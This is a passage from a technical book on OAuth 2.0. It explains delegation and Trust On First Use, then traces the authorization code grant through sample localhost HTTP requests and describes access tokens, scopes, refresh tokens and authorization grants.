main interaction is outside of the browser. It usually has an end user in a browser to 
start the process, and indeed this is where the flexibility and power in the delegation 
model comes from, but the final steps of receiving the token and using it at a protected 
resource lie outside the view of the user. In fact, some of the key use cases of OAuth 
occur when the user is no longer present at the client, yet the client is still able to act 
on the user’s behalf. Using OAuth allows us to move past the notions and assumptions 
of the HTTP Basic protocol in a way that’s powerful, secure, and designed to work with 
today’s API-based economy.

1.3.2	 Authorization delegation: why it matters and how it’s used

Fundamental to the power of OAuth is the notion of delegation. Although OAuth 
is often called an authorization protocol (and this is the name given to it in the RFC 
which defines it), it is a delegation protocol. Generally, a subset of a user’s authoriza-
tion is delegated, but OAuth itself doesn’t carry or convey the authorizations. Instead, 
it provides a means by which a client can request that a user delegate some of their 
authority to it. The user can then approve this request, and the client can then act on 
it with the results of that approval. 

In our printing example, the photo-printing service can ask the user, “Do you have 
any of your photos stored on this storage site? If so, we can totally print that.” The user is 
then sent to the photo-storage service, which asks, “This printing service is asking to get 
some of your photos; do you want that to happen?” The user can then decide whether 
they want that to happen, deciding whether to delegate access to the printing service. 

The distinction between a delegation and an authorization protocol is important 
here because the authorizations being carried by the OAuth token are opaque to most 
of the system. Only the protected resource needs to know the authorization, and as 
long as it’s able to find out from the token and its presentation context (either by look-
ing at the token directly or by using a service of some type to obtain this information), 
it can serve the API as required.

Connecting the online world

Many of the concepts in OAuth are far from novel, and even their execution owes much 
to previous generations of security systems. However, OAuth is a protocol designed 
for the world of web APIs, accessed by client software. The OAuth 2.0 framework in 
particular provides a set of tools for connecting such applications and APIs across 
a wide variety of use cases. As we’ll see in later chapters, the same core concepts 
and protocols can be used to connect in browser applications, web services, native 
and mobile applications, and even (with some extension) small-scale devices in the 
internet of things. Throughout all of this, OAuth depends on the presence of an online 
and connected world and enables new things to be built on that stratum.
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1.3.3	 User-driven security and user choice

Since the OAuth delegation process involves the resource owner, it presents a pos-
sibility not found in many other security models: important security decisions can be 
driven by end user choice. Traditionally, security decisions have been the purview of 
centralized authorities. These authorities determine who can use a service, with which 
client software, and for what purpose. OAuth allows these authorities to push some of 
that decision-making power into the hands of the users who will ultimately be using 
the software. 

OAuth systems often follow the principle of TOFU: Trust On First Use. In a TOFU 
model, the first time a security decision needs to be made at runtime, and there is no 
existing context or configuration under which the decision can be made, the user 
is prompted. This can be as simple as “Connect a new application?” although many 
implementations allow for greater control during this step. Whatever the user experi-
ence here, the user with appropriate authority is allowed to make a security decision. 
The system offers to remember this decision for later use. In other words, the first time 
an authorization context is met, the system can be directed to trust the user’s decision 
for later processing: Trust On First Use. 

Do I have to eat my TOFU?

The Trust On First Use (TOFU) method of managing security decisions is not required 
by OAuth implementations, but it’s especially common to find these two technolo-
gies together. Why is that? The TOFU method strikes a good balance between the 
flexibility of asking end users to make security decisions in context and the fatigue 
of asking them to make these decisions constantly. Without the “Trust” portion of 
TOFU, users would have no say in how these delegations are made. Without the “On 
First Use” portion of TOFU, users would quickly become numb to an unending bar-
rage of access requests. This kind of security system fatigue breeds workarounds 
that are usually more insecure than the practices that the security system is attempt-
ing to address.

This approach also presents the user’s decision in terms of functionality, not security: 
“Do you want this client to do what it’s asking to do?” This is an important distinction 
from more traditional security models wherein decision makers are asked ahead of 
time to demarcate what isn’t permissible. Such security decisions are often overwhelm-
ing for the average user, and in any event the user cares more about what they’re trying 
to accomplish instead of what they’re trying to prevent.

Now this isn’t to say that the TOFU method must be used for all transactions or deci-
sions. In practice, a three-layer listing mechanism offers powerful flexibility for security 
architects (figure 1.9).

The whitelist determines known-good and trusted applications, and the blacklist 
determines known-bad applications or other negative actors. These are decisions that 
can easily be taken out of the hands of end users and decided a priori by system policy. 
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In a traditional security model, the discussion would stop here, since everything not on 
the whitelist is automatically on the blacklist by default. However, with the addition of 
the TOFU method, we can allow a graylist in the middle of these two, an unknown area 
in which user-based runtime trust decisions can take precedence. These decisions can be 
logged and audited, and the risk of breach minimized by policies. By offering the graylist 
capability, a system can greatly expand the ways it can be used without sacrificing security.

1.4	 OAuth 2.0: the good, the bad, and the ugly
OAuth 2.0 is very good at capturing a user delegation decision and expressing that 
across the network. It allows for multiple different parties to be involved in the security 
decision process, most notably the end user at runtime. It’s a protocol made up of 
many different moving parts, but in many ways it’s far simpler and more secure than 
the alternatives.

One key assumption in the design of OAuth 2.0 was that there would always be 
several orders of magnitude more clients in the wild than there would be authoriza-
tion servers or protected resource servers (figure 1.10). This makes sense, as a single 
authorization server can easily protect multiple resource servers, and there are likely 
to be many different kinds of clients wanting to consume any given API. An authoriza-
tion server can even have several different classes of clients that are trusted at differ-
ent levels, but we’ll cover that in more depth in chapter 12. As a consequence of this 
architectural decision, wherever possible, complexity is shifted away from clients and 
onto servers. This is good for client developers, as the client becomes the simplest 

Figure 1.9  Different levels of trust, working in parallel
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piece of software in the system. Client developers no longer have to deal with signa-
ture normalizations or parsing complicated security policy documents, as they would 
have in previous security protocols, and they no longer have to worry about handling 
sensitive user credentials. OAuth tokens provide a mechanism that’s only slightly 
more complex than passwords but significantly more secure when used properly.

The flip side is that authorization servers and protected resources are now respon-
sible for more of the complexity and security. A client needs to manage securing only 
its own client credentials and the user’s tokens, and the breach of a single client would 
be bad but limited in its damage to the users of that client. Breaching the client also 
doesn’t expose the resource owner’s credentials, since the client never sees them in the 
first place. An authorization server, on the other hand, needs to manage and secure 
the credentials and tokens for all clients and all users on a system. Although this does 
make it more of a target for attack, it’s significantly easier to make a single authoriza-
tion server highly secure than it is to make a thousand clients written by independent 
developers just as secure. 

The extensibility and modularity of OAuth 2.0 form one of its greatest assets, since 
it allows the protocol to be used in a wide variety of environments. However, this same 
flexibility leads to basic incompatibility problems between implementations. OAuth 
leaves many pieces optional, which can confuse developers who are trying to imple-
ment it between two systems.

Figure 1.10  Notional relative numbers of components in an OAuth ecosystem
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Even worse, some of the available options in OAuth can be taken in the wrong con-
text or not enforced properly, leading to insecure implementations. These kinds of 
vulnerabilities are discussed at length in the OAuth Threat Model Document3 and the 
vulnerabilities section of this book (chapters 7, 8, 9, and 10). Suffice it to say, the fact 
that a system implements OAuth, and even implements it correctly according to the 
spec, doesn’t mean that this system is secure in practice.

Ultimately, OAuth 2.0 is a good protocol, but it’s far from perfect. We will see its 
replacement at some point in the future, as with all things in technology, but no real 
contender has yet emerged as of the writing of this book. It’s just as likely that OAuth 
2.0’s replacement will end up being a profile or extension of OAuth 2.0 itself.

1.5	 What OAuth 2.0 isn’t
OAuth is used for many different kinds of APIs and applications, connecting the online 
world in ways never before possible. Even though it’s approaching ubiquity, there are 
many things that OAuth is not, and it’s important to understand these boundaries 
when understanding the protocol itself. 

Since OAuth is defined as a framework, there has historically been some confu-
sion regarding what “counts” as OAuth and what does not. For the purposes of this 
discussion, and truly for the purposes of this book, we’re taking OAuth to mean the 
protocol defined by the core OAuth specification,4 which details several ways of get-
ting an access token. We’re also including the use of bearer tokens as defined in the 
attendant specification,5 which dictates how to use this particular style of token. These 
two actions—how to get a token and how to use a token—are the fundamental parts 
of OAuth. As we’ll see in this section, there are a number of other technologies in the 
wider OAuth ecosystem that work together with the core of OAuth to provide greater 
functionality than what is available from OAuth itself. We contend that this ecosystem 
is evidence of a healthy protocol and shouldn’t be conflated with the protocol itself.

OAuth isn’t defined outside of the HTTP protocol. Since OAuth 2.0 with bearer tokens 
provides no message signatures, it is not meant to be used outside of HTTPS (HTTP 
over TLS). Sensitive secrets and information are passed over the wire, and OAuth 
requires a transport layer mechanism such as TLS to protect these secrets. A standard 
exists for presenting OAuth tokens over Simple Authentication and Security Layer 
(SASL)–protected protocols,6 there are new efforts to define OAuth over Constrained 
Application Protocol (CoAP),7 and future efforts could make parts of the OAuth pro-
cess usable over non-TLS links (such as some discussed in chapter 15). But even in 
these cases, there needs to be a clear mapping from the HTTPS transactions into other 
protocols and systems. 

3  RFC 6819 https://tools.ietf.org/html/rfc6819
4  RFC 6749 https://tools.ietf.org/html/rfc6749
5  RFC 6750 https://tools.ietf.org/html/rfc6750
6  RFC 7628 https://tools.ietf.org/html/rfc7628
7  https://tools.ietf.org/html/draft-ietf-ace-oauth-authz
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OAuth isn’t an authentication protocol, even though it can be used to build one. As we’ll 
cover in greater depth in chapter 13, an OAuth transaction on its own tells you nothing 
about who the user is, or even if they’re there. Think of our photo-printing example: 
the photo printer doesn’t need to know who the user is, only that somebody said it was 
OK to download some photos. OAuth is, in essence, an ingredient that can be used in 
a larger recipe to provide other capabilities. Additionally, OAuth uses authentication 
in several places, particularly authentication of the resource owner and client software 
to the authorization server. This embedded authentication does not itself make OAuth 
an authentication protocol.

OAuth doesn’t define a mechanism for user-to-user delegation, even though it is fundamen-
tally about delegation of a user to a piece of software. OAuth assumes that the resource 
owner is the one that’s controlling the client. In order for the resource owner to autho-
rize a different user, more than OAuth is needed. This kind of delegation is not an 
uncommon use case, and the User Managed Access protocol (discussed in chapter 14) 
uses OAuth to create a system capable of user-to-user delegation.

OAuth doesn’t define authorization-processing mechanisms. OAuth provides a means to 
convey the fact that an authorization delegation has taken place, but it doesn’t define 
the contents of that authorization. Instead, it is up to the service API definition to use 
OAuth’s components, such as scopes and tokens, to define what actions a given token 
is applicable to.

OAuth doesn’t define a token format. In fact, the OAuth protocol explicitly states that 
the content of the token is completely opaque to the client application. This is a 
departure from previous security protocols such as WS-*, Security Assertion Markup 
Language (SAML), or Kerberos, in which the client application needed to be able to 
parse and process the token. However, the token still needs to be understood by the 
authorization server that issues it and the protected resource that accepts it. Desire for 
interoperability at this level has led to the development of the JSON Web Token (JWT) 
format and the Token Introspection protocol, discussed in chapter 11. The token itself 
remains opaque to the client, but now other parties can understand its format.

OAuth 2.0 defines no cryptographic methods, unlike OAuth 1.0. Instead of defining a new 
set of cryptographic mechanisms specific to OAuth, the OAuth 2.0 protocol is built to 
allow the reuse of more general-purpose cryptographic mechanisms that can be used out-
side of OAuth. This deliberate omission has helped lead to the development of the JSON 
Object Signing and Encryption (JOSE) suite of specifications, which provides general-
purpose cryptographic mechanisms that can be used alongside and even outside OAuth. 
We’ll see more of the JOSE specifications in chapter 11 and apply them to a message-level 
cryptographic protocol using OAuth Proof of Possession (PoP) tokens in chapter 15.

OAuth 2.0 is also not a single protocol. As discussed previously, the specification is split 
into multiple definitions and flows, each of which has its own set of use cases. The core 
OAuth 2.0 specification has somewhat accurately been described as a security protocol 
generator, because it can be used to design the security architecture for many different 
use cases. As discussed in the previous section, these systems aren’t necessarily compat-
ible with each other. 
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Instead of attempting to be a monolithic protocol that solves all aspects of a security 
system, OAuth focuses on one thing and leaves room for other components to play 
their parts where it makes more sense. Although there are many things that OAuth 
is not, OAuth does provide a solid basis that can be built on by other focused tools to 
create more comprehensive security architecture designs. 

1.6	 Summary
OAuth is a widely used security standard that enables secure access to protected 
resources in a fashion that’s friendly to web APIs. 

■■ OAuth is about how to get a token and how to use a token.
■■ OAuth is a delegation protocol that provides authorization across systems.
■■ OAuth replaces the password-sharing antipattern with a delegation protocol 

that’s simultaneously more secure and more usable.
■■ OAuth is focused on solving a small set of problems and solving them well, which 

makes it a suitable component within larger security systems.

Ready to learn about how exactly OAuth accomplishes all of this on the wire? Read on 
for the details of The OAuth Dance.

Code reuse between different OAuth flows

In spite of their wide variety, the different applications of OAuth do allow for a large 
amount of code reuse between very different applications, and careful application of 
the OAuth protocol can allow for future growth and flexibility in unanticipated direc-
tions. For instance, assume that there are two back end systems that need to talk 
to each other securely without referencing a particular end user, perhaps doing a 
bulk data transfer. This could be handled in a traditional developer API key because 
both the client and resource are in the same trusted security domain. However, if the 
system uses the OAuth client credentials grant (discussed in chapter 6) instead, the 
system can limit the lifetime and access rights of tokens on the wire, and developers 
can use existing OAuth libraries and frameworks for both the client and protected 
resource instead of something completely custom. Since the protected resource is 
already set up to process requests protected by OAuth access tokens, at a future 
point when the protected resource wants to make its data available in a per-user 
delegated fashion, it can easily handle both kinds of access simultaneously. For 
instance, by using separate scopes for the bulk transfer and the user-specific data, 
the resource can easily differentiate between these calls with minimal code changes.
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2The OAuth dance

This chapter covers
■  ■ An overview of the OAuth 2.0 protocol

■  ■ The different components in an OAuth 2.0 system

■  ■ How different components communicate with each other

■  ■ What different components communicate to each other

By now, you have a decent overview of what the OAuth 2.0 protocol is and why it’s 
important. You also likely have an idea of how and where you might want to use the 
protocol. But what steps do you have to take to make an OAuth transaction? What 
do you end up with when you’re done with an OAuth transaction? How does this 
design make OAuth secure?

2.1	 Overview of the OAuth 2.0 protocol: getting and  
using tokens
OAuth is a complex security protocol, with different components sending pieces of 
information to each other in a precise balance akin to a technological dance. But 
fundamentally, there are two major steps to an OAuth transaction: issuing a token 
and using a token. The token represents the access that’s been delegated to the cli-
ent and it plays a central role in every part of OAuth 2.0. Whereas the details of each 
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step can vary based on several factors, the canonical OAuth transaction consists of the 
following sequence of events:

1	 The Resource Owner indicates to the Client that they would like the Client to 
act on their behalf (for example, “Go load my photos from that service so I can 
print them”).

2	 The Client requests authorization from the Resource Owner at the 
Authorization Server.

3	 The Resource Owner grants authorization to the Client.
4	 The Client receives a Token from the Authorization Server.
5	 The Client presents the Token to the Protected Resource.

Different deployments of the OAuth process can handle each of these steps in slightly 
different ways, often optimizing the process by collapsing several steps into a single 
action, but the core process remains essentially the same. Next, we’ll look at the most 
canonical example of OAuth 2.0. 

2.2	 Following an OAuth 2.0 authorization grant in detail
Let’s take a look at an OAuth authorization grant process in detail. We’re going to 
be looking at all of the different steps between the different actors, tracing the HTTP 
requests and responses for each step. In particular, we’ll be following the authorization 
code grant as used with a web-based client application. This client will be interactively 
authorized directly by the resource owner.

NOTE The examples in this chapter are pulled from the exercise code that we’ll be 
using later in this book. Although you don’t need to understand the exercises to 
follow what’s going on here, it might help to look at appendix A and run some of the 
completed examples to try this out. Also, note that the use of localhost throughout 
these examples is purely coincidental, as OAuth can and does work across multiple 
independent machines.

The authorization code grant uses a temporary credential, the authorization code, to represent 
the resource owner’s delegation to the client, and it looks like what is shown in figure 2.1.

Let’s break this down into individual steps. First, the resource owner goes to the 
client application and indicates to the client that they would like it to use a particular 
protected resource on their behalf. For instance, this is where the user would tell the 
printing service to use a specific photo storage service. This service is an API that the 
client knows how to process, and the client knows that it needs to use OAuth to do so.

How do I find the server?

To remain maximally flexible, OAuth pushes many details of a real API system out 
of scope. In particular, the way that the client knows how to talk to a given pro-
tected resource or how the client finds the authorization server tied to that protected 
(continued)
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Figure 2.1  The authorization code grant in detail
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When the client realizes that it needs to get a new OAuth access token, it sends the 
resource owner to the authorization server with a request that indicates that the client 
is asking to be delegated some piece of authority by that resource owner (figure 2.2). 
For example, our photo printer could ask the photo-storage service for the ability to 
read the photos stored there.

Since we have a web client, this takes the form of an HTTP redirect to the authoriza-
tion server’s authorization endpoint. The response from the client application looks 
like this:

HTTP/1.1 302 Moved Temporarily

x-powered-by: Express

Location: http://localhost:9001/authorize?response_type=code&scope=foo&client 
_id=oauth-client-1&redirect_uri=http%3A%2F%2Flocalhost%3A9000%2Fcallback& 
state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1
Vary: Accept

Content-Type: text/html; charset=utf-8

Content-Length: 444

Date: Fri, 31 Jul 2015 20:50:19 GMT

Connection: keep-alive

resource isn’t specified by OAuth. Some protocols built on top of OAuth, such as 
OpenID Connect and User Managed Access (UMA), do solve these problems in stan-
dard ways, and we’ll cover those in chapters 13 and 14. For the purpose of demon-
strating OAuth itself, we’re assuming that the client has been statically configured to 
know how to talk to both the protected resource and the authorization server.

Figure 2.2  Sending the resource owner to the authorization server to 
start the process
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This redirect to the browser causes the browser to send an HTTP GET to the authoriza-
tion server.

GET /authorize?response_type=code&scope=foo&client_id=oauth-client 
-1&redirect_uri=http%3A%2F%2Flocalhost%3A9000% 
2Fcallback&state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1 HTTP/1.1
Host: localhost:9001

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 

Gecko/20100101 Firefox/39.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Referer: http://localhost:9000/

Connection: keep-alive

The client identifies itself and requests particular items such as scopes by including query 
parameters in the URL it sends the user to. The authorization server can parse those 
parameters and act accordingly, even though the client isn’t making the request directly.

Viewing the HTTP transaction

All of the HTTP transcripts were captured using off-the-shelf tools, and there are 
quite a number of them out there. Browser inspection tools, such as the Firebug 
plugin for Firefox, allow comprehensive monitoring and manipulation of front-channel 
communications. The back channel can be observed using a proxy system or a net-
work packet capture program such as Wireshark or Fiddler.

Next, the authorization server will usually require the user to authenticate. This step is 
essential in determining who the resource owner is and what rights they’re allowed to 
delegate to the client (see figure 2.3). 

Resource 
Owner

Authorization 
Server

Protected
Resource

Client

Resource owner 
authenticates to the 
authorization server

Figure 2.3  The resource owner logs in
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The user’s authentication passes directly between the user (and their browser) and 
the authorization server; it’s never seen by the client application. This essential aspect 
protects the user from having to share their credentials with the client application, the 
antipattern that OAuth was invented to combat (as discussed in the last chapter). 

Additionally, since the resource owner interacts with the authorization endpoint 
through a browser, their authentication happens through a browser as well. Thus, 
a wide variety of authentication techniques are available to the user authentication 
process. OAuth doesn’t dictate the authentication technology, and the authorization 
server is free to choose methods such as a username/password pair, cryptographic cer-
tificates, security tokens, federated single-sign-on, or any number of other possibilities. 
We do have to trust the web browser to a certain extent here, especially if the resource 
owner is using a simple authentication method such as username and password, but 
the OAuth protocol is designed to protect against several major kinds of browser-based 
attacks, which we’ll cover in chapters 7, 8, and 9. 

This separated approach also insulates the client from changes to the user’s authen-
tication methods, allowing a simple client application to benefit from emergent tech-
niques such as risk-based heuristic authentication applied at the authorization server. 
This doesn’t convey any information about the authenticated user to the client, how-
ever; this is a topic we’ll cover in depth in chapter 13.

Next, the user authorizes the client application (figure 2.4). In this step, the resource 
owner chooses to delegate some portion of their authority to the client application, 
and the authorization server has many different options to make this work. The client’s 
request can include an indication of what kind of access it’s looking for (known as the 
OAuth scope, discussed in section 2.4). The authorization server can allow the user to 

Resource 
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Authorization
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Protected
Resource

Client

Resource owner 
authorizes the client

?

Figure 2.4  The resource owner approves the client’s access request
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deny some or all of these scopes, or it can let the user approve or deny the request as 
a whole. 

Furthermore, many authorization servers allow the storage of this authorization 
decision for future use. If this is used, then future requests for the same access by 
the same client won’t prompt the user interactively. The user will still be redirected 
to the authorization endpoint, and will still need to be logged in, but the decision to 
delegate authority to the client will have already been made during a previous attempt. 
The authorization server can even override the end user’s decision based on an inter-
nal policy such as a client whitelist or blacklist.

Next, the authorization server redirects the user back to the client application 
(figure 2.5).

This takes the form of an HTTP redirect to the client’s redirect_uri. 

HTTP 302 Found

Location: http://localhost:9000/oauth_callback?code=8V1pr0rJ&state=Lwt50DDQKU
B8U7jtfLQCVGDL9cnmwHH1

This in turn causes the browser to issue the following request back to the client:

GET /callback?code=8V1pr0rJ&state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1 HTTP/1.1
Host: localhost:9000

Notice that this HTTP request is to the client and not on the authorization server.

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 

Gecko/20100101 Firefox/39.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Referer: http://localhost:9001/authorize?response_type=code&scope=foo&client_

id=oauth-client-1&redirect_uri=http%3A%2F%2Flocalhost%3A9000%2Fcallback&  

state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1

Connection: keep-alive

Resource 
Owner

Authorization 
Server

Protected
Resource

Client

Authorization server 
redirects resource owner 
back to the client with an 

authorization code

Figure 2.5  The authorization code is sent back to the client
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Since we’re using the authorization code grant type, this redirect includes the spe-
cial code query parameter. The value of this parameter is a one-time-use credential 
known as the authorization code, and it represents the result of the user’s authorization 
decision. The client can parse this parameter to get the authorization code value 
when the request comes in, and it will use that code in the next step. The client will 
also check that the value of the state parameter matches the value that it sent in 
the previous step.

Now that the client has the code, it can send it back to the authorization server on 
its token endpoint (figure 2.6).

The client performs an HTTP POST with its parameters as a form-encoded HTTP 
entity body, passing its client_id and client_secret as an HTTP Basic authoriza-
tion header. This HTTP request is made directly between the client and the authoriza-
tion server, without involving the browser or resource owner at all.

POST /token

Host: localhost:9001

Accept: application/json

Content-type: application/x-www-form-encoded

Authorization: Basic b2F1dGgtY2xpZW50LTE6b2F1dGgtY2xpZW50LXNlY3JldC0x

grant_type=authorization_code&  

redirect_uri=http%3A%2F%2Flocalhost%3A9000%2Fcallback&code=8V1pr0rJ

This separation between different HTTP connections ensures that the client can 
authenticate itself directly without other components being able to see or manipulate 
the token request. 

Client sends the 
authorization code 
to the authorization 

server’s  token endpoint

Client authenticates 
using its own credentials

Resource 
Owner

Authorization 
Server

Protected
Resource

Client

Figure 2.6  The client sends the code and its own credentials back to the 
authorization server
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The authorization server takes in this request and, if valid, issues a token (figure 2.7). 
The authorization server performs a number of steps to ensure the request is legiti-
mate. First, it validates the client’s credentials (passed in the Authorization header 
here) to determine which client is requesting access. Then, it reads the value of the 
code parameter from the body and looks up any information it has about that authori-
zation code, including which client made the initial authorization request, which user 
authorized it, and what it was authorized for. If the authorization code is valid, has not 
been used previously, and the client making this request is the same as the client that 
made the original request, the authorization server generates and returns a new access 
token for the client. 

This token is returned in the HTTP response as a JSON object.

HTTP 200 OK

Date: Fri, 31 Jul 2015 21:19:03 GMT

Content-type: application/json

{

	 “access_token”: “987tghjkiu6trfghjuytrghj”,
	 “token_type”: “Bearer”

}

The client can now parse the token response and get the access token value from it 
to be used at the protected resource. In this case, we have an OAuth Bearer token, as 
indicated by the token_type field in the response. The response can also include a 
refresh token (used to get new access tokens without asking for authorization again) 
as well as additional information about the access token, like a hint about the token’s 
scopes and expiration time. The client can store this access token in a secure place for 
as long as it wants to use the token, even after the user has left.

Authorization server 
issues an OAuth access

token to the client

Resource 
Owner

Authorization 
Server

Protected
Resource

Client

Figure 2.7  The client receives an access token
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With the token in hand, the client can present the token to the protected resource 
(see figure 2.8).

The client has several methods for presenting the access token, and in this example 
we’re going to use the recommended method of using the Authorization header.

GET /resource HTTP/1.1

Host: localhost:9002

Accept: application/json

Connection: keep-alive

Authorization: Bearer 987tghjkiu6trfghjuytrghj

The protected resource can then parse the token out of the header, determine whether 
it’s still valid, look up information regarding who authorized it and what it was autho-
rized for, and return the response accordingly. A protected resource has a number of 
options for doing this token lookup, which we’ll cover in greater depth in chapter 11. 
The simplest option is for the resource server and the authorization server to share 
a database that contains the token information. The authorization server writes new 
tokens into the store when they’re generated, and the resource server reads tokens 
from the store when they’re presented.

The right to bear tokens

The core OAuth specifications deal with bearer tokens, which means that anyone 
who carries the token has the right to use it. All of our examples throughout the book 
will use bearer tokens, except where specifically noted. Bearer tokens have particu-
lar security properties, which are enumerated in chapter 10, and we’ll take a look 
ahead at nonbearer tokens in chapter 15.

Client accesses the 
protected resource using 

the access token

Resource 
Owner

Authorization 
Server

Protected
Resource

Client

Figure 2.8  The client uses the access token to do things
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2.3	 OAuth’s actors: clients, authorization servers, resource owners, 
and protected resources
As we touched on in the last section, there are four main actors in an OAuth system: 
clients, resource owners, authorization servers, and protected resources (figure 2.9). 
Each of these components is responsible for different parts of the OAuth protocol, 
and all work together to make the OAuth protocol work.

An OAuth client is a piece of software that attempts to access the protected resource 
on behalf of the resource owner, and it uses OAuth to obtain that access. Thanks to 
the design of the OAuth protocol, the client is generally the simplest component in an 
OAuth system, and its responsibilities are largely centered on obtaining tokens from 
the authorization server and using tokens at the protected resource. The client doesn’t 
have to understand the token, nor should it ever need to inspect the token’s contents. 
Instead, the client uses the token as an opaque string. An OAuth client can be a web 
application, a native application, or even an in-browser JavaScript application, and 
we’ll cover the differences between these kinds of clients in chapter 6. In our cloud-
printing example, the printing service is the OAuth client.

An OAuth protected resource is available through an HTTP server and it requires an 
OAuth token to be accessed. The protected resource needs to validate the tokens pre-
sented to it and determine whether and how to serve requests. In an OAuth architec-
ture, the protected resource has the final say as to whether or not to honor a token. In 
our cloud-printing example, the photo-storage site is the protected resource.

A resource owner is the entity that has the authority to delegate access to the client. 
Unlike other parts of the OAuth system, the resource owner isn’t a piece of software. 
In most cases, the resource owner is the person using the client software to access 

Access
Token

Resource 
Owner

Authorization 
Server
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Resource
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Figure 2.9  Major components of the OAuth 2.0 protocol
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something they control. For at least part of the process, the resource owner interacts 
with the authorization server using a web browser (more generally known as the user 
agent). The resource owner might also interact with the client using a web browser, as 
they do in our demonstration here, but that’s entirely dependent on the nature of the 
client. In our cloud-printing example, the resource owner is the end user who wants 
to print their photos.

An OAuth authorization server is an HTTP server that acts as the central component 
to an OAuth system. The authorization server authenticates the resource owner and 
client, provides mechanisms for allowing resource owners to authorize clients, and 
issues tokens to the client. Some authorization servers also provide additional capa-
bilities such as token introspection and remembering authorization decisions. In our 
cloud-printing example, the photo-storage site runs its own in-house authorization 
server for its protected resources.

2.4	 OAuth’s components: tokens, scopes, and authorization grants
In addition to these actors, the OAuth ecosystem depends on several other mecha-
nisms, both conceptual and physical. These are the bits that connect the actors in the 
previous section in a larger protocol. 

2.4.1	 Access tokens

An OAuth access token, sometimes known as just a token in casual reference, is an artifact 
issued by the authorization server to a client that indicates the rights that the client has 
been delegated. OAuth does not define a format or content for the token itself, but it 
always represents the combination of the client’s requested access, the resource owner 
that authorized the client, and the rights conferred during that authorization (usually 
including some indication of the protected resource).

OAuth tokens are opaque to the client, which means that the client has no need 
(and often no ability) to look at the token itself. The client’s job is to carry the 
token, requesting it from the authorization server and presenting it to the protected 
resource. The token isn’t opaque to everyone in the system: the authorization serv-
er’s job is to issue the token, and the protected resource’s job is to validate the token. 
As such, they both need to be able to understand the token itself and what it stands 
for. However, the client is completely oblivious to all of this. This approach allows 
the client to be much simpler than it would otherwise need to be, as well as giving 
the authorization server and protected resource incredible flexibility in how these 
tokens are deployed.

2.4.2	 Scopes

An OAuth scope is a representation of a set of rights at a protected resource. Scopes are 
represented by strings in the OAuth protocol, and they can be combined into a set by 
using a space-separated list. As such, the scope value can’t contain the space character. 
The format and structure of the scope value are otherwise undefined by OAuth.
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Scopes are an important mechanism for limiting the access granted to a client. 
Scopes are defined by the protected resource, based on the API that it’s offering. Cli-
ents can request certain scopes, and the authorization server can allow the resource 
owner to grant or deny particular scopes to a given client during its request. Scopes are 
generally additive in nature.

Let’s return to our cloud-printing example. The photo-storage service’s API defines sev-
eral different scopes for accessing the photos: read-photo, read-metadata, update-photo, 
update-metadata, create, and delete. The photo-printing service needs to be able only to 
read the photos in order to do its job, and so it asks for the read-photo scope. Once it 
has an access token with this scope, the printer is able to read photos and print images 
out as requested. If the user decides to use an advanced function that prints a series of 
photographs into a book based on their date, the printing service will need the additional 
read-metadata scope. Since this is an additional access, the printing service needs to 
ask the user to authorize them for this additional scope using the regular OAuth process. 
Once the printing service has an access token with both scopes, it can perform actions 
that require either of them, or both of them together, using the same access token. 

2.4.3	 Refresh tokens

An OAuth refresh token is similar in concept to the access token, in that it’s issued to 
the client by the authorization server and the client doesn’t know or care what’s inside 
the token. What’s different, though, is that the token is never sent to the protected 
resource. Instead, the client uses the refresh token to request new access tokens with-
out involving the resource owner (figure 2.10).
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Client
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Response with resource

Return new access token
and refresh token to client

Request 
resource with
access token

 

Request
resource with
access token

 

Refresh
access token

Figure 2.10  Using a refresh token
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Why would a client need to bother with a refresh token? In OAuth, an access token 
could stop working for a client at any point. The user could have revoked the token, 
the token could have expired, or some other system trigger made the token invalid. 
The client will usually find out about the token being invalid by using it and receiving 
an error response. Of course, the client could have the resource owner authorize it 
again, but what if the resource owner’s no longer there? 

In OAuth 1.0, the client had no recourse but to wait for the resource owner’s return. 
To avoid this, tokens in OAuth 1.0 tended to live forever until explicitly revoked. This 
is a bit problematic as it increases the attack surface for a stolen token: the attacker can 
keep using the stolen token forever. In OAuth 2.0, access tokens were given the option 
to expire automatically, but we still need a way to access resources when the user was 
no longer there. The refresh token now takes the place of the long-lived token, but 
instead of it being used to obtain resources, it’s used only to get new access tokens that, 
in turn, can get the resources. This limits the exposure of the refresh token and the 
access token in separate but complementary ways.

Refresh tokens also give the client the ability to down-scope its access. If a client 
is granted scopes A, B, and C, but it knows that it needs only scope A to make a par-
ticular call, it can use the refresh token to request an access token for only scope A. 
This lets a smart client follow the security principle of least privilege without burden-
ing less-smart clients with trying to figure out what privileges an API needs. Years 
of deployment experience have shown that OAuth clients tend to be anything but 
smart, but it’s still good to have the advanced capability there for those that want to 
exercise it.

What then if the refresh token itself doesn’t work? The client can always bother the 
resource owner again, when they’re available. In other words, the fallback state for an 
OAuth client is to do OAuth again.

2.4.4	 Authorization grants

An authorization grant is the means by which an OAuth client is given access to a pro-
tected resource using the OAuth protocol, and if successful it ultimately results in the 
client getting a token. This is likely one of the most confusing terms in OAuth 2.0, 
because the term is used to define both the specific mechanism by which the user 
delegates authority as well as the act of delegation itself. This is further confused by 
the authorization code grant type, which we laid out in detail previously, as develop-
ers will sometimes look at the authorization code that is passed back to the client 
and mistakenly assume that this artifact—and this artifact alone—is the authorization 
grant. Although it’s true that the authorization code represents a user’s authorization 
decision, it is not itself an authorization grant. Instead, the entire OAuth process is the 
authorization grant: the client sending the user to the authorization endpoint, then 
receiving the code, then finally trading the code for the token. 

In other words, the authorization grant is the method for getting a token. In this 
book, as in the OAuth community as a whole, we’ll occasionally refer to this as a flow 
of the OAuth protocol. Several different kinds of authorization grants exist in OAuth, 
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each with its own characteristics. We’ll be covering these in detail in chapter 6, but 
most of our examples and exercises, such as those in the previous section, use the 
authorization code authorization grant type. 

2.5	 Interactions between OAuth’s actors and components: back 
channel, front channel, and endpoints
Now that we know the different parts of an OAuth system, let’s take a look at how 
exactly they communicate with each other. OAuth is an HTTP-based protocol, but 
unlike most HTTP-based protocols, OAuth communication doesn’t always happen 
through a simple HTTP request and response. 

